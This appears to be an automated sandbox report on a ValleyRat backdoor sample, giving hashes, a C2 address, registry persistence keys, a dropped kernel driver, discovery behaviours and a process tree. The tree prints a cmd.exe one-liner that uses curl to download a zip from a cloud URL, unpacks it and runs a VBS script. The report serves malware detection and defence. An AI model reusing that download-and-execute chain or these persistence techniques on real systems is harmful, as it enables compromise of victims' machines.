valleyrat_s2 | 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092

Analysis

user interaction
yes
max time kernel
900s
max time network
901s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/10/2026, 14:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
OP-5/NO-5.exe
Size 671KB
Sample261026-rlxcmaxsg1
SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
MD5 15863d6cfaebb1f75461a6c72a0e5376
SHA1 16247f741a9cb345e1e2ad199f60d4101a34c8ca
SHA512 a982eaa430a3ab3c5e7d248eef6216d463a349ec407d63a326ba8e67b99d9ef00283ec7ab9db7c14e013c990e21b028611b9ef8341f32e7768dcd54643807fa8
SSDEEP 12288:27ehokgmoz1Vwy+UGLOMlPGnzM2LE+vomFFb5KSIAWb5sKwIqsr1KMkPwWK7tbG:27jkgmooy+fizM2LE+vomFnvIAWOdsrM
TLSH
T158E47D613642C03ED77210B00D3DDAAE107DF6654F2699DBA3C80E6D5FB42D22E3A667
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

backdoor defense_evasion discovery execution valleyrat_s2 persistence

Malware Config

Extracted

Family

valleyrat_s2

156.234.7.14:8001

Signatures

Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
backdoor valleyrat_s2

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\kvckiller.sys	cache.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\EmbeddedDriverService\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\EmbeddedDriverService.sys"	NO-5.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\EmbeddedDriverService\ImagePath = "\\??\\C:\\Users\\Admin\\AppData\\Local\\Temp\\EmbeddedDriverService.sys"	svchostsr.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunApp = "C:\\Users\\Public\\svchostsr.exe"	NO-5.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	NO-5.exe
File opened (read-only)	\??\G:	NO-5.exe
File opened (read-only)	\??\J:	NO-5.exe
File opened (read-only)	\??\V:	NO-5.exe
File opened (read-only)	\??\X:	NO-5.exe
File opened (read-only)	\??\Y:	NO-5.exe
File opened (read-only)	\??\Z:	NO-5.exe
File opened (read-only)	\??\K:	NO-5.exe
File opened (read-only)	\??\O:	NO-5.exe
File opened (read-only)	\??\Q:	NO-5.exe
File opened (read-only)	\??\U:	NO-5.exe
File opened (read-only)	\??\M:	NO-5.exe
File opened (read-only)	\??\N:	NO-5.exe
File opened (read-only)	\??\P:	NO-5.exe
File opened (read-only)	\??\B:	NO-5.exe
File opened (read-only)	\??\H:	NO-5.exe
File opened (read-only)	\??\I:	NO-5.exe
File opened (read-only)	\??\L:	NO-5.exe
File opened (read-only)	\??\R:	NO-5.exe
File opened (read-only)	\??\S:	NO-5.exe
File opened (read-only)	\??\T:	NO-5.exe
File opened (read-only)	\??\W:	NO-5.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	NO-5.exe

Executes dropped EXE 3 IoCs

pid	Process
2832	cache.exe
4668	svchostsr.exe
896	kvckiller.sys

Loads dropped DLL 1 IoCs

pid	Process
4668	svchostsr.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4152	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NO-5.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NO-5.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	svchostsr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	svchostsr.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchostsr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NO-5.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe

Suspicious behavior: LoadsDriver 64 IoCs

pid	Process
1832	NO-5.exe
660	Process not Found
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe
4668	svchostsr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeLoadDriverPrivilege	1832	NO-5.exe
Token: SeBackupPrivilege	2832	cache.exe
Token: SeRestorePrivilege	2832	cache.exe
Token: SeLoadDriverPrivilege	2832	cache.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe
Token: SeLoadDriverPrivilege	4668	svchostsr.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 2832	1832	NO-5.exe	90
PID 1832 wrote to memory of 4152	1832	NO-5.exe	93
PID 4152 wrote to memory of 2740	4152	cmd.exe	96
PID 4152 wrote to memory of 4720	4152	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe
"C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe"
1⤵
- Sets service image path in registry
- Adds Run key to start application
- Enumerates connected drives
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Users\Public\cache.exe
  C:\Users\Public\cache.exe
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\SysWOW64\curl.exe
    curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2740
- - C:\Windows\SysWOW64\tar.exe
    tar -xf C:\DMRootCA.zip -C C:\DMRootCA
    3⤵
    PID:4720

C:\Users\Public\svchostsr.exe
C:\Users\Public\svchostsr.exe
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:4668

C:\Windows\System32\drivers\kvckiller.sys
C:\Windows\System32\drivers\kvckiller.sys
1⤵
- Executes dropped EXE
PID:896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DMRootCA.zip

Path C:\DMRootCA.zip
Size 384B
SHA256 a0e8c7134fd1e78ce3f56225c1ddad3d1b2656e59c20fbc8771f088c3d08c108
MD5 3af7cf7ebb2d001374b967f1bf15787d
SHA1 41ea7de5fe2fb6b81ca85f843b32cda8f8d3ba8e
SHA512 4892a6e8994cd86a216c989973814349a57217d9ed8f33c8a18bb41423df7e10100a4dc497d29dceee9dcfd705740d5091c94e7ede200ce572e638abf679a672
TLSH
T149E0C03C12CD1D480C60227FD85DABBEAF89A930A4E17078DE045AC56FEF2006975F49
MD5 SHA1 SHA512 TLSH

Submit Download

EmbeddedDriverService.sys

Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
Size 34KB
SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
MD5 485a04675df7cf40a8865706e003eb25
SHA1 711ef221526997039e804a18db9647c91680bbe2
SHA512 f4bfd8c2056ccc08012cc35a4480eea5f91f43d69872dd65e935d6224ee56eca0a017cca1d088245440a3ceeb129fc90fbef4c1a30550de08b6102a7cf526350
SSDEEP 768:fag4/W+9Nz53T+rBORCDItmhcK6OpmlQu9lcsD/9z0y:CgGzVGORWItmhcK6OpQN9lcEz0y
TLSH
T1A1F24CC072EC48C5E8AA9974E555D647AAF0F6420310D9FF46D0C1585F277C2EE3D2BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cache.exe

Path C:\Users\Public\cache.exe
Size 349KB
SHA256 46f65f7089e8bf0468a096247243d513f4667a964c239ea00334431122f1a544
MD5 89733460266ebe94928157c96023e27c
SHA1 3fc81d75655b2cdc929edb64a3593571a9efb6bb
SHA512 5f5b2aba83068deefa1c01b7e84109873d2c63494a61b373da1c846c6453a5960605587471687c79c88080cdc6cd8d3b96c98acf5a92240cde6b2922f803470c
SSDEEP 6144:kfC59veo09bgmIdule2lkoDigaJQ8qrwnSJmdS7BELHgJ8jAm:b5ibV65OZ6QJrKSw87C
TLSH
T15F746B05E7A504FAEA67867CC992C515EA727C214760F7CB03D08EAB3E236D49E3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3d9core.ax

Path C:\Users\Public\d3d9core.ax
Size 3KB
SHA256 de00dc70c1f4760b3ff1d6b1d188cc9aab77a31a1c576ca8fe14fffd6a9934bf
MD5 804f78545b3a17b358ac7ebd2f4daf91
SHA1 82f35453aa36d54ec6cb2956e76c009c7077a5aa
SHA512 e2226917c1d9a5cd20e67598eab1bf8261cff49124055b6f3da129261cf59a1463414f9da1fd05e56027d5013da71de57932d4b8ea756d2235106df6a3b4d362
TLSH
T1AE615B71309542EEC29A194D485C994750A93ADEF3FD1A19FCE2CFA4125B411D1AC5FC
MD5 SHA1 SHA512 TLSH

Submit Download

libcef.dll

Path C:\Users\Public\libcef.dll
Size 11.6MB
SHA256 f8515b0e2a68b677a105ed438062223ac91e61c7796bd6cd83089e1b0591016b
MD5 122ca07761bd2aadc59f3f344e95aabf
SHA1 fb6fe73aeff1377b6c1f0b5819f93821be1e207f
SHA512 d8c33aeb72e6010fa2a67ab69c9ca2b4f2c6225514d53278338c3ac1f74481b89ca56ff8ab1489f24e0e22e53fb73735c4ddc310180c83c7585660e5967f6f20
SSDEEP 49152:oWQQFCSewjuBfaBpYc47VNR5xBJB/mPLNjUISv8TrVoVAvJE6b8cr2piTZei7aTn:95DyBSBCDVNRoTNoyvhrzav1F3V
TLSH
T1D0C649F2654B73ACC29BCAF3A02C0444364699D112E949F3E5C47A74AFEFD99E214336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svchostsr.exe

Path C:\Users\Public\svchostsr.exe
Size 671KB
SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
MD5 15863d6cfaebb1f75461a6c72a0e5376
SHA1 16247f741a9cb345e1e2ad199f60d4101a34c8ca
SHA512 a982eaa430a3ab3c5e7d248eef6216d463a349ec407d63a326ba8e67b99d9ef00283ec7ab9db7c14e013c990e21b028611b9ef8341f32e7768dcd54643807fa8
SSDEEP 12288:27ehokgmoz1Vwy+UGLOMlPGnzM2LE+vomFFb5KSIAWb5sKwIqsr1KMkPwWK7tbG:27jkgmooy+fizM2LE+vomFnvIAWOdsrM
TLSH
T158E47D613642C03ED77210B00D3DDAAE107DF6654F2699DBA3C80E6D5FB42D22E3A667
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kvckiller.sys

Path C:\Windows\System32\drivers\kvckiller.sys
Size 37KB
SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
MD5 2f4b5a0d98bc4e5616f2dd04337ae674
SHA1 f8a3f28ecbd0b08ecab73ef571f16c3d0bd5e009
SHA512 d46c14789e7cd5540ed6442d3362e8e09bb32250b570aab44b228c54dd8748048111adb0adc89eec860d1c5c6357946a9671c072e92ccb84699de963cc8d7845
SSDEEP 384:fWT7WKllIBt9dS6Bn/amID5aUAtAcwHbftAVBMIYioQrHvPxh8E9VF0NyQEvxXhD:L6OQlKVrYioQjPxWEauXhIf3Wx9zpQ5
TLSH
T10B03AD9346642495DE6AAA3096D1DD17FD78B6821B61C2EB0329C2481F633C1F7393BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1832-14-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-8-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-5-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-4-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-6-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-7-0x0000000003270000-0x00000000032D0000-memory.dmp

Download

memory/1832-16-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-22-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-20-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-21-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-19-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-18-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-17-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-2-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-11-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-12-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-10-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-3-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-15-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-13-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-24-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-26-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-28-0x0000000010000000-0x0000000010071000-memory.dmp

Download

memory/1832-27-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-43-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-42-0x0000000002700000-0x0000000002722000-memory.dmp

Download

memory/1832-46-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-48-0x0000000010000000-0x0000000010062000-memory.dmp

Download

memory/1832-47-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-74-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-84-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-76-0x0000000010000000-0x000000001001B000-memory.dmp

Download

memory/1832-73-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-72-0x00000000033D0000-0x0000000003436000-memory.dmp

Download

memory/1832-1-0x0000000002910000-0x0000000002991000-memory.dmp

Download

memory/1832-0-0x0000000002690000-0x0000000002691000-memory.dmp

Download

memory/4668-106-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-123-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-96-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-98-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-112-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-111-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-113-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-110-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-109-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-108-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-107-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-92-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-105-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-104-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-103-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-102-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-101-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-100-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-99-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-115-0x00000000031F0000-0x0000000003256000-memory.dmp

Download

memory/4668-116-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-117-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-118-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-120-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-119-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-121-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-128-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-137-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-133-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-129-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-126-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-125-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-124-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-97-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-122-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-127-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-160-0x00000000032C0000-0x0000000003326000-memory.dmp

Download

memory/4668-91-0x00000000025D0000-0x00000000025F2000-memory.dmp

Download

memory/4668-166-0x0000000003150000-0x00000000031B6000-memory.dmp

Download

memory/4668-184-0x00000000037A0000-0x0000000003806000-memory.dmp

Download

memory/4668-190-0x00000000032C0000-0x0000000003326000-memory.dmp

Download

memory/4668-208-0x0000000003700000-0x0000000003766000-memory.dmp

Download

memory/4668-214-0x00000000037A0000-0x0000000003806000-memory.dmp

Download

memory/4668-232-0x0000000003A70000-0x0000000003AD6000-memory.dmp

Download

memory/4668-238-0x0000000003700000-0x0000000003766000-memory.dmp

Download

memory/4668-256-0x00000000042A0000-0x0000000004306000-memory.dmp

Download

memory/4668-258-0x0000000003A70000-0x0000000003AD6000-memory.dmp

Download

memory/4668-280-0x0000000004310000-0x0000000004376000-memory.dmp

Download

memory/4668-282-0x00000000042A0000-0x0000000004306000-memory.dmp

Download

memory/4668-304-0x0000000003B40000-0x0000000003BA6000-memory.dmp

Download

memory/4668-310-0x0000000004310000-0x0000000004376000-memory.dmp

Download

memory/4668-328-0x0000000004480000-0x00000000044E6000-memory.dmp

Download

memory/4668-334-0x0000000003B40000-0x0000000003BA6000-memory.dmp

Download

memory/4668-352-0x00000000043E0000-0x0000000004446000-memory.dmp

Download

memory/4668-358-0x0000000004480000-0x00000000044E6000-memory.dmp

Download

memory/4668-376-0x0000000002EB0000-0x0000000002F16000-memory.dmp

Download

memory/4668-382-0x00000000043E0000-0x0000000004446000-memory.dmp

Download

memory/4668-400-0x0000000004650000-0x00000000046B6000-memory.dmp

Download

memory/4668-402-0x0000000002EB0000-0x0000000002F16000-memory.dmp

Download

memory/4668-424-0x00000000045B0000-0x0000000004616000-memory.dmp

Download

memory/4668-430-0x0000000004650000-0x00000000046B6000-memory.dmp

Download

memory/4668-448-0x0000000004820000-0x0000000004886000-memory.dmp

Download

memory/4668-454-0x00000000045B0000-0x0000000004616000-memory.dmp

Download

memory/4668-472-0x0000000004780000-0x00000000047E6000-memory.dmp

Download

memory/4668-478-0x0000000004820000-0x0000000004886000-memory.dmp

Download

memory/4668-496-0x00000000051F0000-0x0000000005256000-memory.dmp

Download

memory/4668-502-0x0000000004780000-0x00000000047E6000-memory.dmp

Download

memory/4668-525-0x00000000051F0000-0x0000000005256000-memory.dmp

Download